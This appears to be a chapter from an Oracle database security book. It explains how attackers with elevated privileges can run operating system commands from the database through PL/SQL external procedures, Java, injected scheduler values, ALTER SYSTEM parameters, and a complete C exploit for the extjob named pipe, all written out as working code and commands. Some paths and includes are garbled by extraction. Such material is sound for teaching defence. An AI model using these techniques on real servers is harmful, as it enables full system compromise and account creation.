Running Operating System Commands
Oracle provides a number of facilities for running operating system commands from the database server - some intentional and others "hacks." Commands can be executed via PL/SQL, Java, and default packages, and by manipulation of the server parameters using the ALTER SYSTEM command. Needless to say, the relevant high-level permissions are required to run OS commands, but earlier chapters have shown that gaining such privileges is not a difficult task.
Running OS Commands through PL SQL
Developers can extend PL/SQL by creating a shared object (dynamic link library, or DLL) that contains the code in a function for what they want to achieve. The developer would the register this library with the Oracle server using the CREATE LIBRARY statement. Once registered, the function can be called. This behavior can be leveraged by attackers to run operating system commands. They would do this by registering either libc on Unix systems or msvcrt.dll on Windows systems and then calling the system() function:
/ * First register msvcrt.dll/libc */ CREATE OR REPLACE LIBRARY exec_shell AS 'C:winntsystem32msvcrt.dll'; / /* Now create the procedure */ CREATE OR REPLACE PROCEDURE oraexec (cmdstring IN CHAR) IS EXTERNAL NAME "system" LIBRARY exec_shell LANGUAGE C; / /* Once created now run commands */ EXEC ORAEXEC('NET USER MYACCOUNT PASSWORD /ADD');
When the ORAEXEC procedure is executed, Oracle connects to the TNS Listener and requests access to EXTPROC. EXTPROC is the program Oracle uses for running external procedures. The Listener executes EXTPROC and then passes the database server a connection on a named pipe. The database server then instructs EXTPROC to load the msvcrt.dll library and execute the system() function, passing it the command, 'NET USER MYACCOUNT PASSWORD /ADD'. This tells the OS to add a new user called MYACCOUNT. Because Oracle runs as LOCAL SYSTEM on Windows by default, this should execute without any problems. An attacker could then, of course, add MYACCOUNT to the local administrators group. Many secure installations of Oracle will disable external procedures; and for those that require external procedures to be enabled, they have been configured to run as a low-privileged user.
Later versions of Oracle restrict the location of external libraries to the ORACLE_HOMEin directory. This could be bypassed, however, by using a directory traversal attack:
CREATE OR REPLACE LIBRARY exec_shell AS '$ORACLE_HOMEin..........winntsystem32msvcrt.dll'; /
Oracle has since fixed this flaw so there are two ways of executing OS commands using PL/SQL. First, one can drop a DLL into the ORACLE_HOME/bin directory using the UTL_FILE package (see Chapter 11, "Accessing the Filesystem"), or alternatively set the EXTPROC_DLLS environment variable. The second method is harder to do from within Oracle without being able to run OS commands, so the former method is perferred.
Running OS Commands through Java
Running OS commands through Java does not rely on external procedures, and commands execute with the privileges of the Oracle user. Once the Java source has been created, it is wrapped in a PL/SQL procedure and can then be executed:
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVACMD" AS import java.lang.*; import java.io.*; public class JAVACMD { public static void execCommand (String command) throws IOException { Runtime.getRuntime().exec(command); } }; / CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2) AS LANGUAGE JAVA NAME 'JAVACMD.execCommand (java.lang.String)'; / exec javacmdproc('cmd.exe /c dir > c:orajava.txt');
The Java permissions required to execute OS commands are as follows:
exec dbms_java.grant_permission( 'SCOTT', 'SYS:java.io.FilePermission', '<>','execute'); exec dbms_java.grant_permission( 'SCOTT', 'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', ''); exec dbms_java.grant_permission( 'SCOTT', 'SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');
Running OS Commands Using DBMS_SCHEDULER
DBMS_SCHEDULER is a PL/SQL package introduced and shipped with Oracle 10g. This package was created to enable DBAs to schedule the execution of predefined packages and shell scripts, such as Windows batch files and Unix sh files, as "jobs." The CREATE JOB privilege is required to successfully submit a job using DBMS_SCHEDULER. Execution of programs is not allowed. However, there is a bug that allows this restriction to be bypassed. By embedding shell meta-characters such as the ampersand (&) or pipes (∥) in the name of the program to be run, it's possible to execute programs:
BEGIN DBMS_SCHEDULER.CREATE_PROGRAM ( program_name=> 'MyCmd', program_type=> 'EXECUTABLE', -- Use the ampersand to break out program_action => 'c:/foo.bat'||chr(38)||'dir>c:/oraoutput.txt'||chr(38)||'c:/foo.bat', enabled=> TRUE, comments=> 'Run a command using shell metacharacters.' ); END; / BEGIN DBMS_SCHEDULER.CREATE_JOB ( job_name=> 'X', program_name=> 'MyCmd', repeat_interval=> 'FREQ=SECONDLY;INTERVAL=10', enabled=> TRUE, comments=> 'Every 10 seconds'); END; /
The OracleJobSchedulerSID service must be running if you want to run OS commands via DBMS_SCHEDULER. If it's not, then the scheduler will generate an error.
Running OS Commands Directly with the Job Scheduler
The Job Scheduler is implemented as an external process - extjob. On Windows this runs with the privileges of the LOCAL SYSTEM operating system account. It listens on a named pipe called "orcljsex" where SID is the database system identifier. When the Job Scheduler receives a command down this named pipe, it simply attempts to execute it. As such, anyone that can connect to the named pipe, whether locally or across the network using SMB, can run commands as LOCAL SYSTEM and fully compromise the server:
/* Oracle External Job Remote Command Exploit Oracle's extjob.exe listens on a named pipe "orcljsex and executes commands sent through it. */ #include #include int main(int argc, char *argv[]) { char buffer[540]=""; char NamedPipe[260]="\\"; HANDLE rcmd=NULL; char *ptr = NULL; int len =0; DWORD Bytes = 0; if(argc !=4) { printf(" Oracle External Job Remote Command Exploit. "); printf(" Usage: oraextjob target SID " command" "); printf(" David Litchfield (david@ngssoftware.com) 1st October 2006 "); return 0; } strncat(NamedPipe,argv[1],100); strcat(NamedPipe,"\pipe\orcljsex"); len = strlen(NamedPipe); if(len>256) return printf("Too long... "); len = 256 - len; // tack on the SID strncat(NamedPipe,argv[2],len); // Open the named pipe rcmd = CreateFile(NamedPipe,GENERIC_WRITE|GENERIC_READ,0,NULL,OPEN_EXISTING,0,N ULL); if(rcmd == INVALID_HANDLE_VALUE) return printf("Failed to open pipe %s. Error %d. ",NamedPipe,GetLastError()); // Send command len = WriteFile(rcmd,argv[3],strlen(argv[3]),&Bytes,NULL); if(!len) return printf("Failed to write to %s. Error %d. ",NamedPipe,GetLastError()); // Read results while(len) { len = ReadFile(rcmd,buffer,530,&Bytes,NULL); printf("%s",buffer); ZeroMemory(buffer,540); } CloseHandle(rcmd); return 0; }
Running OS Commands Using ALTER SYSTEM
This next example is a bit of a "hack" and was never intended by Oracle as a proper method for running commands but it works well. In Oracle 9i it is possible to manipulate the way Oracle compiles native PL/SQL programs. This is done by providing the name of a make program. Clearly, this can be abused to run OS commands:
ALTER SYSTEM SET plsql_native_make_utility = 'cmd.exe /C dir > c:ooops.txt &'; ALTER SYSTEM SET plsql_native_make_file_name = ' foo'; ALTER SYSTEM SET plsql_native_library_dir='bar'; CREATE OR REPLACE PROCEDURE ohoh AS BEGIN NULL; END; / show errors
When Oracle compiles the ohoh procedure, Oracle executes the following:
cmd.exe /C dir > c:ooops.txt & -f foo bar/RUN_CMD__SYSTEM__0.DLL
Oracle 10g deprecated the plsql_native_make_utility parameter.
Wrapping Up
This chapter has demonstrated the numerous ways to run OS commands from the RDBMS, but all of them require a high level of privilege. How to get those privileges has already been covered in the earlier chapters.